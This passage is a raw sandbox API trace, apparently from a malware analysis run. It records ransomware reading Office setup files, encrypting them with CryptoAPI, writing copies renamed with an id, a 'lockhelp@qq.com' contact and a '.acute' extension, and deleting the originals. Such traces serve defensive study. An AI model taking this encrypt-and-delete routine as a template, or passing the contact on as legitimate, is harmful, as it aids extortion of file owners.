lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x620, lpOverlapped=0x0) returned 1 [0052.180] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0052.180] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.180] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0052.180] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.180] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0052.180] CryptDestroyKey (hKey=0x5931a0) returned 1 [0052.180] CloseHandle (hObject=0x1ac) returned 1 [0052.180] CloseHandle (hObject=0x19c) returned 1 [0052.180] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0052.181] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0052.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.382] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2296) returned 1 [0052.382] CloseHandle (hObject=0x194) returned 1 [0052.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0052.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.382] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.382] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.390] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931e0) returned 1 [0052.390] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.390] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x8f8, lpOverlapped=0x0) returned 1 [0052.396] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x900, dwBufLen=0x900 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x900) returned 1 [0052.396] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x900, lpOverlapped=0x0) returned 1 [0052.397] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0052.398] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.398] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0052.398] CryptDestroyKey (hKey=0x593220) returned 1 [0052.398] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0052.398] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.398] CloseHandle (hObject=0x194) returned 1 [0052.398] CloseHandle (hObject=0x1ac) returned 1 [0052.399] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0052.400] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0052.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.413] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1452) returned 1 [0052.413] CloseHandle (hObject=0x1ac) returned 1 [0052.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0052.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.474] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.474] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.474] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931e0) returned 1 [0052.474] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.474] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5ac, lpOverlapped=0x0) returned 1 [0052.479] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0) returned 1 [0052.479] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5b0, lpOverlapped=0x0) returned 1 [0052.480] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0052.480] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.480] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0052.480] CryptDestroyKey (hKey=0x593260) returned 1 [0052.480] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0052.480] CryptDestroyKey (hKey=0x5931e0) returned 1 [0052.480] CloseHandle (hObject=0x194) returned 1 [0052.481] CloseHandle (hObject=0x170) returned 1 [0052.481] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0052.483] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0052.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.949] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=71236) returned 1 [0052.949] CloseHandle (hObject=0x184) returned 1 [0052.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0052.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.962] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.962] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0052.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0052.970] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0052.970] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.970] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x11644, lpOverlapped=0x0) returned 1 [0052.985] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x11650, dwBufLen=0x11650 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x11650) returned 1 [0052.985] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x11650, lpOverlapped=0x0) returned 1 [0052.987] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0052.987] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0052.987] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30, dwBufLen=0x30 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x30) returned 1 [0052.987] CryptDestroyKey (hKey=0x593260) returned 1 [0052.987] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xe2, lpOverlapped=0x0) returned 1 [0052.987] CryptDestroyKey (hKey=0x593220) returned 1 [0052.987] CloseHandle (hObject=0x184) returned 1 [0052.987] CloseHandle (hObject=0x1ac) returned 1 [0052.989] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0053.169] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.170] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=9352) returned 1 [0053.170] CloseHandle (hObject=0x1ac) returned 1 [0053.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0053.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.170] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.170] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.171] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.171] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.171] ReadFile (in: hFile=0x1ac, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x2488, lpOverlapped=0x0) returned 1 [0053.192] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2490, dwBufLen=0x2490 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2490) returned 1 [0053.192] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x2490, lpOverlapped=0x0) returned 1 [0053.193] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.193] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.193] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.193] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.193] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.193] CryptDestroyKey (hKey=0x593220) returned 1 [0053.194] CloseHandle (hObject=0x1ac) returned 1 [0053.194] CloseHandle (hObject=0x184) returned 1 [0053.195] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0053.196] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.197] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1383) returned 1 [0053.197] CloseHandle (hObject=0x184) returned 1 [0053.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0053.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.197] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.197] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.199] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.199] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.199] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x567, lpOverlapped=0x0) returned 1 [0053.201] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x570, dwBufLen=0x570 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x570) returned 1 [0053.201] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x570, lpOverlapped=0x0) returned 1 [0053.202] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.202] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.202] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.202] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.202] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.202] CryptDestroyKey (hKey=0x593220) returned 1 [0053.202] CloseHandle (hObject=0x184) returned 1 [0053.202] CloseHandle (hObject=0x174) returned 1 [0053.203] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0053.204] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.204] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2362) returned 1 